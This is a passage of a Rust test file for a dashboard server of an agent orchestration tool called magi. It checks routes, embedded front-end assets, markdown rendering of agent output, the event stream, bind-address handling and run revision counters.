11026 "a browser must render it, not download it: {}",
11027 res.headers
11028 );
11029 assert!(
11033 res.body.contains("20260902-140501-a1b2"),
11034 "the report is about the run that was asked for: {}",
11035 res.body
11036 );
11037 }
11038
11039 #[tokio::test]
11040 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11041 let f = Fixture::start().await;
11042
11043 let html = f.get("/").await;
11044 let css = f.get("/app.css").await;
11045 let js = f.get("/app.js").await;
11046
11047 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11048 assert!(
11049 html.headers
11050 .contains("content-type: text/html; charset=utf-8")
11051 );
11052 assert!(css.headers.contains("content-type: text/css"));
11053 assert!(js.headers.contains("content-type: text/javascript"));
11054 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11055 }
11056
11057 #[test]
11058 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11059 let body = |name: &str| {
11060 let at = APP_JS
11061 .find(name)
11062 .unwrap_or_else(|| panic!("{name} missing"));
11063 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11064 };
11065 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11066 let note = body("function landRoundNote");
11067 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11068 assert!(note.contains("Land round ${round}"));
11069 let land = body("function renderLand");
11070 let note_at = land
11071 .find("landRoundNote(pr)")
11072 .expect("renderLand uses the note");
11073 assert!(
11074 note_at
11075 < land
11076 .find("roundRail(pr)")
11077 .expect("renderLand uses the rail")
11078 );
11079 }
11080
11081 #[test]
11082 fn the_runs_page_redesign_keeps_its_guards() {
11083 let body = |name: &str| {
11084 let at = APP_JS
11085 .find(name)
11086 .unwrap_or_else(|| panic!("{name} missing"));
11087 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11088 };
11089 let land = body("function renderLand");
11091 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11092 assert!(
11093 !land.contains("box.append("),
11094 "renderLand must use append()"
11095 );
11096 assert!(land.contains("append(box, ["));
11097 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11099 assert!(
11100 body("function applyRoute")
11101 .contains("route.name !== state.route.name || route.id !== state.route.id")
11102 );
11103 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11105 assert!(!INDEX_HTML.contains("advise-converge"));
11106 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11107 assert!(APP_JS.contains("provisional"));
11108 for id in [
11109 "run-tab-overview",
11110 "run-tab-timeline",
11111 "run-tab-report",
11112 "run-report",
11113 "runs-scope",
11114 ] {
11115 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11116 }
11117 assert!(!INDEX_HTML.contains("runs-tree"));
11118 assert!(!INDEX_HTML.contains("run-raw-panel"));
11119 assert!(APP_JS.contains("resume"));
11121 assert!(APP_JS.contains("unreadable"));
11123 }
11124
11125 #[test]
11126 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11127 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11128 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11129 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11130 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11131 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11132 assert!(APP_JS.contains("unreadable` : null"));
11134 }
11135
11136 #[test]
11137 fn the_run_detail_payload_says_whether_the_run_is_done() {
11138 for (status, done) in [
11140 (RunStatus::Superseded, true),
11141 (RunStatus::Blocked, true),
11142 (RunStatus::Landing, false),
11143 ] {
11144 let mut state = RunState::new(
11145 std::path::PathBuf::from("/repo"),
11146 "main".to_owned(),
11147 "abc".to_owned(),
11148 "x".to_owned(),
11149 crate::config::Config::default(),
11150 );
11151 state.status = status;
11152 let v = serde_json::to_value(RunDetailView::of(
11153 state,
11154 crate::run::Liveness::Unknown,
11155 None,
11156 None,
11157 None,
11158 ))
11159 .unwrap();
11160 assert_eq!(v["done"], done, "{status:?}");
11161 }
11162 }
11163
11164 fn has_strong(nodes: &[md::Node]) -> bool {
11166 serde_json::to_string(nodes).unwrap().contains("strong")
11167 }
11168
11169 #[test]
11170 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11171 let mut state = RunState::new(
11172 std::path::PathBuf::from("/repo"),
11173 "main".to_owned(),
11174 "abc".to_owned(),
11175 "x".to_owned(),
11176 crate::config::Config::default(),
11177 );
11178 let proposal = |approach: &str| {
11179 serde_json::json!({
11180 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11181 })
11182 };
11183 state.advice = Some(
11184 serde_json::from_value(serde_json::json!({
11185 "records": [
11186 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11187 "proposal": proposal("do **this**")},
11188 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11189 ],
11190 "synthesis": "- one\n- **two**\n\n`code`",
11191 }))
11192 .unwrap(),
11193 );
11194 state.candidates = serde_json::from_value(serde_json::json!([
11195 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11196 "summary": "did **it**"},
11197 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11198 ]))
11199 .unwrap();
11200 state.reviews = serde_json::from_value(serde_json::json!([{
11203 "round": 1, "head": "h",
11204 "reviews": [{
11205 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11206 "findings": [
11207 {"severity": "nit", "title": "t1", "detail": "plain nit"},
11208 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11209 ],
11210 }],
11211 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11212 "fix": {"agent": "a", "notes": "fixed **it**",
11213 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11214 }, {"round": 2, "head": "h2", "reviews": []}]))
11215 .unwrap();
11216
11217 let v = serde_json::to_value(RunDetailView::of(
11218 state,
11219 crate::run::Liveness::Unknown,
11220 None,
11221 None,
11222 None,
11223 ))
11224 .unwrap();
11225
11226 let strong = |p: &str| {
11227 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
11228 assert!(n.to_string().contains("strong"), "{p}: {n}");
11229 };
11230 strong("/advice_md/synthesis");
11231 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
11232 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
11233 strong("/advice_md/approaches/0");
11234 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
11235 strong("/candidate_summaries_md/0");
11236 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
11237 strong("/reviews_md/0/reviewers/0/summary");
11238 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
11239 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
11240 assert!(f[1].to_string().contains("strong"));
11241 strong("/reviews_md/0/reconsideration/0");
11242 strong("/reviews_md/0/fix/notes");
11243 strong("/reviews_md/0/fix/rejected/0");
11244 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
11245 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
11246 assert_eq!(v["candidates"][0]["summary"], "did **it**");
11248 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
11249 }
11250
11251 #[test]
11252 fn a_run_without_advice_has_no_advice_md() {
11253 let state = RunState::new(
11254 std::path::PathBuf::from("/repo"),
11255 "main".to_owned(),
11256 "abc".to_owned(),
11257 "x".to_owned(),
11258 crate::config::Config::default(),
11259 );
11260 let p = run_prose_md(&state);
11261 assert!(p.advice_md.is_none());
11262 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
11263 }
11264
11265 #[test]
11266 fn a_question_view_carries_markdown_for_each_thread_turn() {
11267 let home = TempDir::new().unwrap();
11268 let store = ask::Questions::at(home.path().join("questions"));
11269 let mut q = Question::new(
11270 "run".to_owned(),
11271 "implement".to_owned(),
11272 "impl-A".to_owned(),
11273 "which?".to_owned(),
11274 String::new(),
11275 Vec::new(),
11276 );
11277 q.say("plain words").unwrap();
11278 q.reply("use **this**", Vec::new()).unwrap();
11279 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
11280 let bodies = &v["thread_bodies_md"];
11281 assert_eq!(bodies.as_array().unwrap().len(), 2);
11282 assert!(!bodies[0].to_string().contains("strong"));
11283 assert!(bodies[1].to_string().contains("strong"));
11284 }
11285
11286 #[test]
11287 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11288 assert!(APP_JS.contains("function landView(run, raw) {"));
11292 assert!(
11293 APP_JS.contains(
11294 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11295 )
11296 );
11297 assert!(APP_JS.contains("const pr = landView(run, raw);"));
11298 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11299 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11300 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11301 }
11302
11303 #[test]
11304 fn live_runs_are_never_hidden_or_folded_as_superseded() {
11305 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
11306 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11307 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11308 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11309 }
11310
11311 #[test]
11312 fn review_rounds_label_a_distinct_verified_head() {
11313 assert!(APP_JS.contains("round.verified_head"));
11314 assert!(APP_JS.contains("verified HEAD"));
11315 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11316 }
11317
11318 #[test]
11319 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11320 assert!(APP_JS.contains("blocked: { glyph:"));
11324 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11325
11326 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11330 assert!(
11331 APP_JS.contains(
11332 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11333 ),
11334 "the note line must name what a blocked task is waiting on, not just that it is blocked"
11335 );
11336 assert!(APP_JS.contains("if (status === \"blocked\") {"));
11340
11341 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11345 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11346 assert!(
11347 APP_JS.contains("location.hash = \"#/questions\";"),
11348 "a question node must jump to the Questions screen, not pretend to be a task"
11349 );
11350
11351 assert!(APP_JS.contains("Resolved questions"));
11354 assert!(APP_JS.contains("r.answersList.append("));
11355 assert!(APP_CSS.contains(".task-answers"));
11356 {
11357 let start = APP_JS
11358 .find("function updateTalkTaskRow")
11359 .expect("updateTalkTaskRow");
11360 let body = &APP_JS[start..];
11361 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
11362 assert!(
11363 body.contains(
11364 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
11365 ),
11366 "a chat-filed task row must link to the task page"
11367 );
11368 assert!(
11369 !body.contains("#/runs/") && !body.contains("#/queue/"),
11370 "the row must not branch to a run or the queue card"
11371 );
11372 assert!(APP_CSS.contains(".talk-task-link"));
11373 }
11374 }
11375
11376 #[test]
11377 fn a_task_notification_links_to_the_task_page() {
11378 let start = APP_JS
11380 .find("function noticeLink(")
11381 .expect("noticeLink exists");
11382 let body = &APP_JS[start..];
11383 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
11384 assert!(
11385 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
11386 "a task notice's link must target the task page"
11387 );
11388 assert!(
11389 !body.contains("#/queue/"),
11390 "regression: the task link must not go back to the Backlog route"
11391 );
11392 assert!(
11393 APP_JS.contains(
11394 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
11395 ),
11396 "`#/tasks/<id>` must parse into the task route"
11397 );
11398
11399 assert!(
11401 APP_JS.contains(
11402 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
11403 ),
11404 "`#/queue/<id>` must parse into a route carrying that id"
11405 );
11406
11407 assert!(APP_JS.contains("state.queueFocus = route.id;"));
11411 assert!(APP_JS.contains("function consumeQueueFocus()"));
11412 assert!(APP_JS.contains("jumpToTask(id)"));
11413 }
11414
11415 #[test]
11418 fn chat_rows_put_the_title_alone_on_the_first_line() {
11419 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
11420 assert!(APP_CSS.contains(
11421 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
11422 ));
11423 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
11424 assert!(APP_JS.contains("class: \"badge talk-unread\""));
11425 }
11426
11427 #[test]
11428 fn run_rows_put_the_title_alone_on_the_first_line() {
11429 assert!(
11430 APP_CSS.contains(
11431 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
11432 )
11433 );
11434 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
11435 assert!(APP_JS.contains("class: \"card run-card\""));
11436 assert!(APP_JS.contains("class: \"repo run-id\""));
11437 }
11438
11439 #[test]
11443 fn wide_screens_show_list_and_preview_side_by_side() {
11444 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
11446 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
11447 assert!(APP_CSS.contains("main[data-split]"));
11448 assert!(APP_CSS.contains("body[data-split]"));
11449
11450 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
11452 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
11453 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
11454 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
11455 assert!(INDEX_HTML.contains("id=\"split-empty\""));
11456
11457 assert!(APP_JS.contains("function markSelected() {"));
11459 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
11460 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
11461 assert!(
11463 APP_CSS.contains(
11464 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
11465 )
11466 );
11467
11468 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
11470 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
11471 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
11472 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
11473
11474 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
11478 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
11479 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
11480 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
11481
11482 assert!(APP_JS.contains("sandbox: \"\""));
11484 assert!(!APP_JS.contains("sandbox: \"allow"));
11485 }
11486
11487 #[test]
11488 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
11489 assert!(
11498 APP_JS.contains(
11499 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
11500 ),
11501 "the search-clearing branch must run before state.queueFocus is cleared, or the \
11502 recursive renderQueue() call has nothing left to jump to"
11503 );
11504 assert!(
11505 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
11506 "state.queueFocus must be cleared only once the jump has landed, so a card that \
11507 arrives later still gets it"
11508 );
11509 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
11510 assert!(APP_JS.contains("is not in the current Backlog."));
11511 assert!(APP_JS.contains("li.card[data-task-id=\""));
11512 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
11513 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
11514 assert!(APP_CSS.contains(".card-permalink"));
11515 assert!(APP_CSS.contains(".queue-focus-status"));
11516 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
11517 }
11518
11519 #[test]
11520 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
11521 assert!(
11529 APP_JS.contains(
11530 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
11531 ),
11532 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
11533 );
11534 }
11535
11536 #[test]
11537 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
11538 assert!(
11539 APP_JS.contains("round.verified_head !== round.head"),
11540 "a round that verified an earlier commit must be visibly distinct from one that \
11541 verified the head reviewers are looking at now"
11542 );
11543 assert!(
11544 APP_JS.contains("round.verified_at"),
11545 "when a check ran must be on the wire, not just which commit"
11546 );
11547 assert!(
11548 APP_JS.contains("resource_blocked"),
11549 "a command magi never got to run (shared build cache contention) must not render \
11550 the same as a command that ran and failed"
11551 );
11552 }
11553
11554 #[test]
11555 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
11556 assert!(
11564 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
11565 "every KPI tile built through statusTile() must route its click through \
11566 openRunsFiltered, the single place that sets the Runs filter"
11567 );
11568 for (label, status) in [
11569 ("Merged", "merged"),
11570 ("Ready", "ready"),
11571 ("Blocked", "blocked"),
11572 ("Stalled", "stalled"),
11573 ] {
11574 let call = format!("statusTile(\"{label}\", t.{status}, ");
11575 assert!(
11576 APP_JS.contains(&call),
11577 "expected the {label} KPI tile built via {call}..."
11578 );
11579 assert!(
11580 APP_JS.contains(&format!("status === \"{status}\"")),
11581 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
11582 compare a run against, not one invented only for the stats tile"
11583 );
11584 }
11585 assert!(
11586 APP_JS.contains("function openRunsFiltered(status)"),
11587 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
11588 );
11589 assert!(
11590 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
11591 "matchesFilter must gate on the exact status a KPI tile named"
11592 );
11593 assert!(
11601 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
11602 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
11603 hashchange event that may never fire"
11604 );
11605 }
11606
11607 #[test]
11608 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
11609 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
11615 assert!(
11616 APP_JS.contains(
11617 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
11618 ),
11619 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
11620 guard for an incompatible tree section"
11621 );
11622 }
11623
11624 #[test]
11625 fn every_stats_queue_tile_names_a_real_queue_section() {
11626 assert!(
11632 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
11633 "every queue tile built through sectionTile() must route its click through \
11634 openQueueSectionFocus"
11635 );
11636 for key in ["upnext", "running", "done", "held", "blocked"] {
11637 assert!(
11638 APP_JS.contains(&format!("{{ key: \"{key}\",")),
11639 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
11640 );
11641 }
11642 for line in [
11646 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
11647 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
11648 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
11649 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
11650 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
11651 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
11652 ] {
11653 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
11654 }
11655 }
11656
11657 #[test]
11658 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
11659 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
11666 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
11667 assert!(APP_JS.contains("function revealQueueSection(details)"));
11668 assert!(
11669 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
11670 "renderQueue() must consume both focus channels on every pass"
11671 );
11672 assert!(
11673 APP_JS.contains(
11674 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
11675 ),
11676 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
11677 the recursive renderQueue() call has nothing left to reveal"
11678 );
11679 assert!(
11680 APP_JS.contains(
11681 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
11682 ),
11683 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
11684 );
11685 assert!(
11693 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
11694 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
11695 hashchange event that may never fire"
11696 );
11697 }
11698
11699 #[tokio::test]
11700 async fn the_change_stream_announces_the_current_revisions_on_connect() {
11701 let f = Fixture::start().await;
11702
11703 let mut socket = tokio::net::TcpStream::connect(f.addr)
11704 .await
11705 .expect("connect");
11706 socket
11707 .write_all(
11708 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
11709 )
11710 .await
11711 .expect("write request");
11712
11713 let mut seen = String::new();
11716 let mut buf = [0u8; 1024];
11717 while !seen.contains("event: change") {
11718 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
11719 .await
11720 .expect("the stream must speak within five seconds")
11721 .expect("read");
11722 assert!(read > 0, "the server closed the change stream: {seen}");
11723 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
11724 }
11725
11726 assert!(
11727 seen.to_lowercase()
11728 .contains("content-type: text/event-stream"),
11729 "the browser only reconnects automatically for a real SSE stream: {seen}"
11730 );
11731 let data = seen
11732 .lines()
11733 .find_map(|l| l.strip_prefix("data:"))
11734 .expect("a data line");
11735 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
11736 assert!(
11737 payload["queue_rev"].is_u64()
11738 && payload["runs_rev"].is_u64()
11739 && payload["questions_rev"].is_u64()
11740 && payload["talks_rev"].is_u64()
11741 && payload["notifications_rev"].is_u64()
11742 && payload["loop_rev"].is_u64(),
11743 "the client needs one revision per store to know what to refetch, \
11744 and `talks_rev` is the only notification a standing talk gets - a \
11745 phone whose radio slept through a turn learns about it here, as \
11746 does one whose operator started the loop from another device: \
11747 {payload}"
11748 );
11749
11750 let health = f.get("/api/health").await.json();
11757 for key in [
11758 "queue_rev",
11759 "runs_rev",
11760 "questions_rev",
11761 "talks_rev",
11762 "notifications_rev",
11763 "loop_rev",
11764 ] {
11765 assert!(
11766 health[key].is_u64(),
11767 "health is the change stream's fallback and is missing `{key}`: {health}"
11768 );
11769 }
11770 }
11771
11772 #[tokio::test]
11773 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
11774 let f = Fixture::start().await;
11775 let before = f.get("/api/health").await.json()["talks_rev"]
11776 .as_u64()
11777 .expect("talks_rev");
11778
11779 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
11780 std::thread::sleep(Duration::from_millis(10));
11781 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
11782 on_disk.turns.push(crate::talk::Turn {
11783 who: crate::talk::Who::Operator,
11784 body: "a new turn".to_owned(),
11785 at: Timestamp::now(),
11786 attachments: Vec::new(),
11787 usage: None,
11788 });
11789 f.talks().put(&mut on_disk).expect("record a turn");
11790
11791 let after = f.get("/api/health").await.json()["talks_rev"]
11792 .as_u64()
11793 .expect("talks_rev");
11794 assert_ne!(
11795 before, after,
11796 "a phone must be able to notice a talk's reply without polling every store"
11797 );
11798 }
11799
11800 #[test]
11801 fn bind_reads_back_from_the_spelling_the_cli_prints() {
11802 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
11806 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
11807 }
11808 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
11809 assert!("everywhere".parse::<Bind>().is_err());
11810 }
11811
11812 #[test]
11813 fn an_explicit_bind_address_is_taken_verbatim() {
11814 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
11815
11816 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
11817
11818 assert_eq!(addr, asked);
11819 assert!(
11820 warning.is_none(),
11821 "an operator who named an address gets no lecture"
11822 );
11823 }
11824
11825 #[test]
11826 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
11827 let (addr, warning) = resolve_bind(&Bind::Auto);
11828
11829 match addr {
11836 IpAddr::V4(ip) if is_tailnet(&ip) => {
11837 assert!(warning.is_none(), "a tailnet address needs no warning");
11838 }
11839 other => {
11840 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
11841 let warning = warning.expect("a fallback has to explain itself");
11842 assert!(
11843 warning.contains("127.0.0.1") && warning.contains("local-only"),
11844 "the warning says what happened and what it costs: {warning}"
11845 );
11846 }
11847 }
11848 }
11849
11850 #[test]
11851 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
11852 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
11856 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
11857 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
11858 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
11859 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
11860 }
11861
11862 #[test]
11863 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
11864 let ids = vec![
11865 "20260902-140501-aaaa".to_owned(),
11866 "20260902-140502-aabb".to_owned(),
11867 ];
11868
11869 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
11870 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
11871 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
11872
11873 assert_eq!(missing.status, StatusCode::NOT_FOUND);
11874 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
11875 assert_eq!(short, "20260902-140502-aabb");
11876 }
11877 #[tokio::test]
11878 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
11879 let fx = Fixture::start().await;
11885 let id = panel(
11886 &fx,
11887 "<img src=\"shot.png\">",
11888 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
11889 );
11890
11891 let doc = fx
11893 .get(&format!("/api/questions/{id}/panel/index.html"))
11894 .await;
11895 assert_eq!(doc.status, 200, "{}", doc.body);
11896 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
11897
11898 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
11899 assert_eq!(sibling.status, 200, "{}", sibling.body);
11900 assert_eq!(sibling.header("content-type"), Some("image/png"));
11901 assert_eq!(
11902 sibling.header("content-security-policy"),
11903 Some(PANEL_CSP),
11904 "the sibling route must carry the same policy as the asset route"
11905 );
11906
11907 assert_eq!(
11910 fx.head(&format!("/api/questions/{id}/panel")).await.status,
11911 200
11912 );
11913 }
11914
11915 #[test]
11916 fn runs_revision_moves_when_deleting_an_older_run() {
11917 let temp = TempDir::new().expect("tempdir");
11918 let runs = temp.path().join("runs");
11919 std::fs::create_dir_all(&runs).expect("create runs dir");
11920
11921 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
11922
11923 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
11924 std::thread::sleep(Duration::from_millis(10));
11925 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
11926
11927 let rev_before = runs_revision(&runs);
11928 assert!(rev_before > 0);
11929
11930 let old_dir = runs.join("20260901-100000-old1");
11931 std::fs::remove_dir_all(&old_dir).expect("remove old run");
11932
11933 let rev_after = runs_revision(&runs);
11934 assert_ne!(
11935 rev_before, rev_after,
11936 "deleting an older run must change the revision so other clients see the deletion"
11937 );
11938 }
11939
11940 fn write_state(runs: &FsPath, state: &RunState) {
11945 let dir = runs.join(&state.id);
11946 std::fs::create_dir_all(&dir).expect("run dir");
11947 std::fs::write(
11948 dir.join("run.json"),
11949 serde_json::to_string_pretty(state).expect("serialize run"),
11950 )
11951 .expect("write run.json");
11952 }
11953
11954 #[test]
11959 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
11960 let temp = TempDir::new().expect("tempdir");
11961 let runs = temp.path().join("runs");
11962 std::fs::create_dir_all(&runs).expect("create runs dir");
11963 let mut state = RunState::new(
11964 PathBuf::from("/repo/magi"),
11965 "main".to_owned(),
11966 "0123456789abcdef".to_owned(),
11967 "task".to_owned(),
11968 Config::default(),
11969 );
11970 state.id = "20260902-100000-c0de".to_owned();
11971 write_state(&runs, &state);
11972
11973 let rev_idle = runs_revision(&runs);
11974 std::thread::sleep(Duration::from_millis(10));
11975 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
11976 write_state(&runs, &state);
11977 let rev_started = runs_revision(&runs);
11978 assert_ne!(
11979 rev_idle, rev_started,
11980 "a seat starting must move the revision"
11981 );
11982
11983 std::thread::sleep(Duration::from_millis(10));
11984 state.seat_finished("judge-1");
